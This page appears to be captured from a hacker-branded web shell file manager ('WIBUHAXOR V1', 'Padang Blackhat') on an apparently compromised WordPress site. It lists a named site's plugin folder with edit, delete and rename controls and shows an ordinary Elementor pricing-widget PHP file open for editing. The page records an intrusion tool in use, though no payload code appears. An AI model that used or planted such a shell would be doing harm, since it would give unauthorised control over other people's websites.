-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
xtrasolutionsco.com
/
wp-content
/
plugins
/
tp-core
/
include
/
elementor
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
cssjs
--
NONE
templates
--
NONE
about.php
57.33KB
Edit File
Delete File
Rename
advanced-pricing.php
64.474KB
Edit File
Delete File
Rename
advanced-tab.php
22.697KB
Edit File
Delete File
Rename
animate-breadcrumb.php
21.405KB
Edit File
Delete File
Rename
application-form.php
5.887KB
Edit File
Delete File
Rename
blog-post.php
14.489KB
Edit File
Delete File
Rename
brand-animation.php
14.009KB
Edit File
Delete File
Rename
brand.php
11.774KB
Edit File
Delete File
Rename
browser-link.php
19.368KB
Edit File
Delete File
Rename
button.php
13.898KB
Edit File
Delete File
Rename
choose.php
28.192KB
Edit File
Delete File
Rename
contact-form.php
5.874KB
Edit File
Delete File
Rename
contact-info.php
24.333KB
Edit File
Delete File
Rename
contact-location.php
12.081KB
Edit File
Delete File
Rename
contact-tab.php
28.563KB
Edit File
Delete File
Rename
cta.php
26.845KB
Edit File
Delete File
Rename
fact.php
19.314KB
Edit File
Delete File
Rename
faq-info.php
17.712KB
Edit File
Delete File
Rename
faq.php
8.988KB
Edit File
Delete File
Rename
features.php
19.782KB
Edit File
Delete File
Rename
heading.php
11.38KB
Edit File
Delete File
Rename
hero-banner-1.php
72.672KB
Edit File
Delete File
Rename
industrial-info.php
30.671KB
Edit File
Delete File
Rename
info-banner.php
25.576KB
Edit File
Delete File
Rename
intregration-slider.php
7.619KB
Edit File
Delete File
Rename
job-details-title.php
9.157KB
Edit File
Delete File
Rename
jobs-post.php
7.874KB
Edit File
Delete File
Rename
journey.php
10.352KB
Edit File
Delete File
Rename
list.php
7.856KB
Edit File
Delete File
Rename
platform-area.php
20.835KB
Edit File
Delete File
Rename
portfolio-details-info.php
12.162KB
Edit File
Delete File
Rename
portfolio-details-sidebar.php
20.109KB
Edit File
Delete File
Rename
portfolio-grid.php
11.735KB
Edit File
Delete File
Rename
portfolio-post.php
11.561KB
Edit File
Delete File
Rename
pricing.php
27.578KB
Edit File
Delete File
Rename
process.php
18.193KB
Edit File
Delete File
Rename
project-slider.php
12.682KB
Edit File
Delete File
Rename
projects.php
22.576KB
Edit File
Delete File
Rename
rank.php
24.613KB
Edit File
Delete File
Rename
sale-info.php
36.763KB
Edit File
Delete File
Rename
services-title-list.php
20.188KB
Edit File
Delete File
Rename
services.php
51.222KB
Edit File
Delete File
Rename
slider.php
42.381KB
Edit File
Delete File
Rename
social.php
20.705KB
Edit File
Delete File
Rename
team-details-skill.php
16.175KB
Edit File
Delete File
Rename
team-details.php
24.703KB
Edit File
Delete File
Rename
team.php
31.657KB
Edit File
Delete File
Rename
testimonial.php
44.519KB
Edit File
Delete File
Rename
text-slider.php
9.134KB
Edit File
Delete File
Rename
video-popup-button.php
8.592KB
Edit File
Delete File
Rename
video-popup.php
6.003KB
Edit File
Delete File
Rename
<?php namespace TPCore\Widgets; use Elementor\Widget_Base; use \Elementor\Group_Control_Text_Shadow; use \Elementor\Repeater; use \Elementor\Control_Media; use \Elementor\Utils; Use \Elementor\Core\Schemes\Typography; use \Elementor\Controls_Manager; use \Elementor\Group_Control_Border; use \Elementor\Group_Control_Box_Shadow; use \Elementor\Group_Control_Typography; use \Elementor\Group_Control_Image_Size; if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly /** * Tp Core * * Elementor widget for hello world. * * @since 1.0.0 */ class TP_Pricing extends Widget_Base { use \TPCore\Widgets\TPCoreElementFunctions; /** * Retrieve the widget name. * * @since 1.0.0 * * @access public * * @return string Widget name. */ public function get_name() { return 'tp-pricing'; } /** * Retrieve the widget title. * * @since 1.0.0 * * @access public * * @return string Widget title. */ public function get_title() { return __( 'Pricing', 'tpcore' ); } /** * Retrieve the widget icon. * * @since 1.0.0 * * @access public * * @return string Widget icon. */ public function get_icon() { return 'tp-icon'; } /** * Retrieve the list of categories the widget belongs to. * * Used to determine where to display the widget in the editor. * * Note that currently Elementor supports only one category. * When multiple categories passed, Elementor uses the first one. * * @since 1.0.0 * * @access public * * @return array Widget categories. */ public function get_categories() { return [ 'tpcore' ]; } /** * Retrieve the list of scripts the widget depended on. * * Used to set scripts dependencies required to run the widget. * * @since 1.0.0 * * @access public * * @return array Widget scripts dependencies. */ public function get_script_depends() { return [ 'tpcore' ]; } /** * Register the widget controls. * * Adds different input fields to allow the user to change and customize the widget settings. * * @since 1.0.0 * * @access protected */ protected function register_controls(){ $this->register_controls_section(); $this->style_tab_content(); } protected function register_controls_section() { $this->start_controls_section( '_section_design_title', [ 'label' => __('Design Style', 'tpcore'), 'tab' => Controls_Manager::TAB_CONTENT, ] ); $this->add_control( 'tp_design_style', [ 'label' => esc_html__('Select Layout', 'tpcore'), 'type' => Controls_Manager::SELECT, 'options' => [ 'layout-1' => esc_html__('Layout 1', 'tpcore'), 'layout-2' => esc_html__('Layout 2', 'tpcore'), ], 'default' => 'layout-1', ] ); $this->add_control( 'active_price', [ 'label' => __('Active Price', 'tpcore'), 'type' => Controls_Manager::SWITCHER, 'label_on' => __('Show', 'tpcore'), 'label_off' => __('Hide', 'tpcore'), 'return_value' => 'yes', 'default' => false, 'style_transfer' => true, ] ); $this->end_controls_section(); // Header $this->start_controls_section( '_section_header', [ 'label' => __('Header', 'tpcore'), 'tab' => Controls_Manager::TAB_CONTENT, ] ); $this->add_control( 'tp_box_icon_type', [ 'label' => esc_html__('Select Icon Type', 'tpcore'), 'type' => \Elementor\Controls_Manager::SELECT, 'default' => 'icon', 'options' => [ 'image' => esc_html__('Image', 'tpcore'), 'icon' => esc_html__('Icon', 'tpcore'), 'svg' => esc_html__('SVG', 'tpcore'), ], ] ); $this->add_control( 'tp_box_icon_svg', [ 'show_label' => false, 'type' => Controls_Manager::TEXTAREA, 'label_block' => true, 'placeholder' => esc_html__('SVG Code Here', 'tpcore'), 'condition' => [ 'tp_box_icon_type' => 'svg' ] ] ); $this->add_control( 'tp_box_icon_image', [ 'label' => esc_html__('Upload Icon Image', 'tpcore'), 'type' => Controls_Manager::MEDIA, 'default' => [ 'url' => Utils::get_placeholder_image_src(), ], 'condition' => [ 'tp_box_icon_type' => 'image', ] ] ); if (tp_is_elementor_version('<', '2.6.0')) { $this->add_control( 'tp_box_icon', [ 'show_label' => false, 'type' => Controls_Manager::ICON, 'label_block' => true, 'default' => 'fa fa-star', 'condition' => [ 'tp_box_icon_type' => 'icon' ] ] ); } else { $this->add_control( 'tp_box_selected_icon', [ 'show_label' => false, 'type' => Controls_Manager::ICONS, 'fa4compatibility' => 'icon', 'label_block' => true, 'default' => [ 'value' => 'fas fa-star', 'library' => 'solid', ], 'condition' => [ 'tp_box_icon_type' => 'icon' ] ] ); } $this->add_control( 'title', [ 'label' => __('Title', 'tpcore'), 'type' => Controls_Manager::TEXT, 'label_block' => true, 'default' => __('Basic', 'tpcore'), 'dynamic' => [ 'active' => true ] ] ); $this->add_control( 'sub_title', [ 'label' => __('Sub Title', 'tpcore'), 'type' => Controls_Manager::TEXT, 'label_block' => true, 'default' => __('Sub Title', 'tpcore'), 'dynamic' => [ 'active' => true ], 'condition' => [ 'tp_design_style' => ['layout-10'], ] ] ); $this->add_control( 'description', [ 'label' => __('Description', 'tpcore'), 'type' => Controls_Manager::TEXTAREA, 'label_block' => true, 'default' => __('description', 'tpcore'), 'dynamic' => [ 'active' => true ] ] ); $this->end_controls_section(); $this->start_controls_section( '_section_pricing', [ 'label' => __('Pricing', 'tpcore'), 'tab' => Controls_Manager::TAB_CONTENT, ] ); $this->add_control( 'currency', [ 'label' => __('Currency', 'tpcore'), 'type' => Controls_Manager::SELECT, 'label_block' => false, 'options' => [ '' => __('None', 'tpcore'), 'baht' => '฿ ' . _x('Baht', 'Currency Symbol', 'tpcore'), 'bdt' => '৳ ' . _x('BD Taka', 'Currency Symbol', 'tpcore'), 'dollar' => '$ ' . _x('Dollar', 'Currency Symbol', 'tpcore'), 'euro' => '€ ' . _x('Euro', 'Currency Symbol', 'tpcore'), 'franc' => '₣ ' . _x('Franc', 'Currency Symbol', 'tpcore'), 'guilder' => 'ƒ ' . _x('Guilder', 'Currency Symbol', 'tpcore'), 'krona' => 'kr ' . _x('Krona', 'Currency Symbol', 'tpcore'), 'lira' => '₤ ' . _x('Lira', 'Currency Symbol', 'tpcore'), 'peso' => '₱ ' . _x('Peso', 'Currency Symbol', 'tpcore'), 'pound' => '£ ' . _x('Pound Sterling', 'Currency Symbol', 'tpcore'), 'real' => 'R$ ' . _x('Real', 'Currency Symbol', 'tpcore'), 'ruble' => '₽ ' . _x('Ruble', 'Currency Symbol', 'tpcore'), 'indian_rupee' => '₹ ' . _x('Rupee (Indian)', 'Currency Symbol', 'tpcore'), 'shekel' => '₪ ' . _x('Shekel', 'Currency Symbol', 'tpcore'), 'won' => '₩ ' . _x('Won', 'Currency Symbol', 'tpcore'), 'yen' => '¥ ' . _x('Yen/Yuan', 'Currency Symbol', 'tpcore'), 'custom' => __('Custom', 'tpcore'), ], 'default' => 'dollar', ] ); $this->add_control( 'currency_custom', [ 'label' => __('Custom Symbol', 'tpcore'), 'type' => Controls_Manager::TEXT, 'condition' => [ 'currency' => 'custom', ], 'dynamic' => [ 'active' => true, ] ] ); $this->add_control( 'price', [ 'label' => __('Price', 'tpcore'), 'type' => Controls_Manager::TEXT, 'default' => '9.99', 'dynamic' => [ 'active' => true ] ] ); $this->add_control( 'price_time', [ 'label' => __('Time', 'tpcore'), 'type' => Controls_Manager::TEXT, 'default' => 'Per month', 'dynamic' => [ 'active' => true ] ] ); $this->end_controls_section(); $this->start_controls_section( '_section_features', [ 'label' => __('Features', 'tpcore'), ] ); $this->add_control( 'show_features', [ 'label' => __('Show', 'tpcore'), 'type' => Controls_Manager::SWITCHER, 'label_on' => __('Show', 'tpcore'), 'label_off' => __('Hide', 'tpcore'), 'return_value' => 'yes', 'default' => 'yes', 'style_transfer' => true, ] ); $repeater = new Repeater(); $repeater->add_control( 'tp_feature_unavailable', [ 'label' => __('Feature Hide ?', 'tpcore'), 'type' => Controls_Manager::SWITCHER, 'label_on' => __('Show', 'tpcore'), 'label_off' => __('Hide', 'tpcore'), 'return_value' => 'yes', 'default' => '0', 'style_transfer' => true, ] ); $repeater->add_control( 'tp_features_title', [ 'label' => __('Feature Title', 'tpcore'), 'type' => Controls_Manager::TEXT, 'default' => __('Exciting Feature', 'tpcore'), 'label_block' => true ] ); $this->add_control( 'features_list', [ 'type' => Controls_Manager::REPEATER, 'fields' => $repeater->get_controls(), 'show_label' => false, 'default' => [ [ 'tp_features_title' => __('Standard Feature', 'tpcore'), 'icon' => 'fa fa-check', ], [ 'tp_features_title' => __('Another Great Feature', 'tpcore'), 'icon' => 'fa fa-check', ], [ 'tp_features_title' => __('Obsolete Feature', 'tpcore'), 'icon' => 'fa fa-close', ], [ 'tp_features_title' => __('Exciting Feature', 'tpcore'), 'icon' => 'fa fa-check', ], ], 'title_field' => '<# print((tp_features_title)); #>', ] ); $this->end_controls_section(); // tp_btn_button_group $this->start_controls_section( 'tp_btn_button_group', [ 'label' => esc_html__('Button', 'tpcore'), ] ); $this->add_control( 'tp_btn_button_show', [ 'label' => esc_html__( 'Show Button', 'tpcore' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Show', 'tpcore' ), 'label_off' => esc_html__( 'Hide', 'tpcore' ), 'return_value' => 'yes', 'default' => 'yes', ] ); $this->add_control( 'tp_btn_text', [ 'label' => esc_html__('Button Text', 'tpcore'), 'type' => Controls_Manager::TEXT, 'default' => esc_html__('Button Text', 'tpcore'), 'title' => esc_html__('Enter button text', 'tpcore'), 'label_block' => true, 'condition' => [ 'tp_btn_button_show' => 'yes' ], ] ); $this->add_control( 'tp_btn_link_type', [ 'label' => esc_html__('Button Link Type', 'tpcore'), 'type' => Controls_Manager::SELECT, 'options' => [ '1' => 'Custom Link', '2' => 'Internal Page', ], 'default' => '1', 'label_block' => true, 'condition' => [ 'tp_btn_button_show' => 'yes' ], ] ); $this->add_control( 'tp_btn_link', [ 'label' => esc_html__('Button link', 'tpcore'), 'type' => Controls_Manager::URL, 'dynamic' => [ 'active' => true, ], 'placeholder' => esc_html__('https://your-link.com', 'tpcore'), 'show_external' => false, 'default' => [ 'url' => '#', 'is_external' => true, 'nofollow' => true, 'custom_attributes' => '', ], 'condition' => [ 'tp_btn_link_type' => '1', 'tp_btn_button_show' => 'yes' ], 'label_block' => true, ] ); $this->add_control( 'tp_btn_page_link', [ 'label' => esc_html__('Select Button Page', 'tpcore'), 'type' => Controls_Manager::SELECT2, 'label_block' => true, 'options' => tp_get_all_pages(), 'condition' => [ 'tp_btn_link_type' => '2', 'tp_btn_button_show' => 'yes' ] ] ); $this->add_responsive_control( 'tp_align', [ 'label' => esc_html__('Alignment', 'tpcore'), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__('Left', 'tpcore'), 'icon' => 'eicon-text-align-left', ], 'center' => [ 'title' => esc_html__('Center', 'tpcore'), 'icon' => 'eicon-text-align-center', ], 'right' => [ 'title' => esc_html__('Right', 'tpcore'), 'icon' => 'eicon-text-align-right', ], ], 'default' => 'left', 'toggle' => false, 'selectors' => [ '{{WRAPPER}}' => 'text-align: {{VALUE}};' ] ] ); $this->end_controls_section(); // animation $this->start_controls_section( 'tp_animation_section', [ 'label' => esc_html__('Animation', 'tp-core'), ] ); // creative animation $this->add_control( 'tp_creative_anima_switcher', [ 'label' => esc_html__( 'Active Animation', 'tpcore' ), 'type' => \Elementor\Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Yes', 'tpcore' ), 'label_off' => esc_html__( 'No', 'tpcore' ), 'return_value' => 'yes', 'default' => '0', 'separator' => 'before', ] ); $this->add_control( 'tp_anima_type', [ 'label' => __( 'Animation Type', 'tpcore' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'fadeInUp' => __( 'fadeInUp', 'tpcore' ), 'fadeInDown' => __( 'fadeInDown', 'tpcore' ), 'fadeInLeft' => __( 'fadeInLeft', 'tpcore' ), 'fadeInRight' => __( 'fadeInRight', 'tpcore' ), ], 'default' => 'fadeInUp', 'frontend_available' => true, 'style_transfer' => true, 'condition' => [ 'tp_creative_anima_switcher' => 'yes', ], ] ); $this->add_control( 'tp_anima_dura', [ 'label' => esc_html__('Animation Duration', 'tpcore'), 'type' => \Elementor\Controls_Manager::TEXT, 'default' => esc_html__('0.3s', 'tpcore'), 'condition' => [ 'tp_creative_anima_switcher' => 'yes', ], ] ); $this->add_control( 'tp_anima_delay', [ 'label' => esc_html__('Animation Delay', 'tpcore'), 'type' => \Elementor\Controls_Manager::TEXT, 'default' => esc_html__('0.6s', 'tpcore'), 'condition' => [ 'tp_creative_anima_switcher' => 'yes', ], ] ); $this->end_controls_section(); } // style_tab_content protected function style_tab_content(){ $this->tp_section_style_controls('pricing_section', 'Section - Style', '.tp-el-section'); $this->tp_section_style_controls('pricing_box', 'Price - Box', '.tp-el-box'); $this->tp_link_controls_style('pricing_badge', 'Price - Badge', '.tp-el-badge'); $this->tp_link_controls_style('pricing_category', 'Price - Category', '.tp-el-box-category'); $this->tp_basic_style_controls('pricing_ammount', 'Price - Ammount', '.tp-el-box-ammount'); $this->tp_basic_style_controls('pricing_period', 'Price - Period', '.tp-el-box-period'); $this->tp_basic_style_controls('pricing_desc', 'Price - Description', '.tp-el-box-desc'); $this->tp_basic_style_controls('features_title', 'Features - Title', '.tp-el-feature-title'); $this->tp_basic_style_controls('pricing_list', 'Price - List', '.tp-el-box-list'); $this->tp_basic_style_controls('pricing_list_unavailabe', 'Price - List Unavailable', '.tp-el-box-list-unavailable'); $this->tp_link_controls_style('pricing_btn', 'Price - Button', '.tp-el-box-btn'); } private static function get_currency_symbol($symbol_name) { $symbols = [ 'baht' => '฿', 'bdt' => '৳', 'dollar' => '$', 'euro' => '€', 'franc' => '₣', 'guilder' => 'ƒ', 'indian_rupee' => '₹', 'pound' => '£', 'peso' => '₱', 'peseta' => '₧', 'lira' => '₤', 'ruble' => '₽', 'shekel' => '₪', 'rupee' => '₨', 'real' => 'R$', 'krona' => 'kr', 'won' => '₩', 'yen' => '¥', ]; return isset($symbols[$symbol_name]) ? $symbols[$symbol_name] : ''; } private static function get_currency_symbol_text($symbol_text) { $symbols =[ 'baht' => 'THB', 'bdt' => 'BDT', 'dollar' => 'USD', 'euro' => 'EUR', 'franc' => 'EUR', 'guilder' => 'GLD', 'indian_rupee' => 'INR', 'pound' => 'GBP', 'peso' => 'MXN', 'lira' => 'TRY', 'ruble' => 'RUB', 'shekel' => 'ILS', 'real' => 'BRL', 'krona' => 'KR', 'won' => 'KRW', 'yen' => 'JPY', ]; return isset($symbols[$symbol_text]) ? $symbols[$symbol_text] : ''; } /** * Render the widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); ?> <?php if ( $settings['tp_design_style'] == 'layout-2' ): $this->add_render_attribute('title_args', 'class', 'tp-title'); // Link if ('2' == $settings['tp_btn_link_type']) { $this->add_render_attribute('tp-button-arg', 'href', get_permalink($settings['tp_btn_page_link'])); $this->add_render_attribute('tp-button-arg', 'target', '_self'); $this->add_render_attribute('tp-button-arg', 'rel', 'nofollow'); $this->add_render_attribute('tp-button-arg', 'class', 'tp-btn-border-3 tp-el-box-btn'); } else { if ( ! empty( $settings['tp_btn_link']['url'] ) ) { $this->add_link_attributes( 'tp-button-arg', $settings['tp_btn_link'] ); $this->add_render_attribute('tp-button-arg', 'class', 'tp-btn-border-3 tp-el-box-btn'); } } if ($settings['currency'] === 'custom') { $currency = $settings['currency_custom']; } else { $currency = self::get_currency_symbol($settings['currency']); } $class_name = $settings['active_price'] ? 'pricing-active' : ''; ?> <!-- default style --> <?php else: $this->add_render_attribute('title_args', 'class', 'tp-title'); // Link if ('2' == $settings['tp_btn_link_type']) { $this->add_render_attribute('tp-button-arg', 'href', get_permalink($settings['tp_btn_page_link'])); $this->add_render_attribute('tp-button-arg', 'target', '_self'); $this->add_render_attribute('tp-button-arg', 'rel', 'nofollow'); $this->add_render_attribute('tp-button-arg', 'class', 'tp-btn'); } else { if ( ! empty( $settings['tp_btn_link']['url'] ) ) { $this->add_link_attributes( 'tp-button-arg', $settings['tp_btn_link'] ); $this->add_render_attribute('tp-button-arg', 'class', 'tp-btn'); } } if ($settings['currency'] === 'custom') { $currency = $settings['currency_custom']; } else { $currency = self::get_currency_symbol($settings['currency']); } $active_price = $settings['active_price'] ? 'pricing-active' : ''; ?> <?php if(!empty($settings['tp_creative_anima_switcher'])) : ?> <div class="tp-pricing p-relative fix mb-30 wow <?php echo esc_attr($settings['tp_anima_type']); ?>" data-wow-duration="<?php echo esc_attr($settings['tp_anima_dura']); ?>" data-wow-delay="<?php echo esc_attr($settings['tp_anima_delay']); ?>"> <?php else : ?> <div class="tp-pricing p-relative fix mb-30"> <?php endif; ?> <div class="tp-pricing__bg"> <img src="<?php echo get_template_directory_uri( );?>/assets/img/prizing/pricing-bg.png" alt=""> </div> <div class="tp-pricing__item <?php echo esc_attr($active_price); ?>"> <div class="tp-pricing__top grey-bg-3"> <div class="tp-pricing__title-wrapper pt-20"> <h3 class="tp-price-title"><?php echo esc_html($currency); ?><?php echo tp_kses($settings['price']); ?></h3> <?php if(!empty($settings['title'])) :?> <span><?php echo tp_kses($settings['price_time']); ?></span> <?php endif; ?> </div> <?php if($settings['tp_box_icon_type'] == 'icon') : ?> <?php if (!empty($settings['tp_box_icon']) || !empty($settings['tp_box_selected_icon']['value'])) : ?> <div class="tp-pricing__img"> <?php tp_render_icon($settings, 'tp_box_icon', 'tp_box_selected_icon'); ?> </div> <?php endif; ?> <?php elseif( $settings['tp_box_icon_type'] == 'image' ) : ?> <?php if (!empty($settings['tp_box_icon_image']['url'])): ?> <div class="tp-pricing__img"> <img src="<?php echo $settings['tp_box_icon_image']['url']; ?>" alt="<?php echo get_post_meta(attachment_url_to_postid($settings['tp_box_icon_image']['url']), '_wp_attachment_image_alt', true); ?>"> </div> <?php endif; ?> <?php else : ?> <?php if (!empty($settings['tp_box_icon_svg'])): ?> <div class="tp-pricing__img"> <?php echo $settings['tp_box_icon_svg']; ?> </div> <?php endif; ?> <?php endif; ?> </div> <div class="tp-pricing__content"> <div class="tp-pricing__content-feature"> <?php if(!empty($settings['title'])) :?> <div class="tp-pricing__plan pb-20"> <h4><?php echo esc_html($settings['title']); ?></h4> </div> <?php endif; ?> <?php if(!empty($settings['description'])) : ?> <p><?php echo tp_kses($settings['description']); ?></p> <?php endif; ?> <ul> <?php if ( !empty($settings['show_features']) ) : foreach ($settings['features_list'] as $index => $item) : $availability = $item['tp_feature_unavailable'] ? '' : 'has-denied'; ?> <li class="<?php echo esc_attr($availability); ?>"><i class="flaticon-check-1"></i> <?php echo tp_kses($item['tp_features_title']); ?></li> <?php endforeach; endif; ?> </ul> </div> <?php if(!empty($settings['tp_btn_text'])) : ?> <div class="tp-slide-btn-box pt-40"> <a <?php echo $this->get_render_attribute_string( 'tp-button-arg' ); ?>><?php echo $settings['tp_btn_text']; ?> </a> </div> <?php endif; ?> </div> </div> </div> <?php endif; } } $widgets_manager->register( new TP_Pricing() );
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat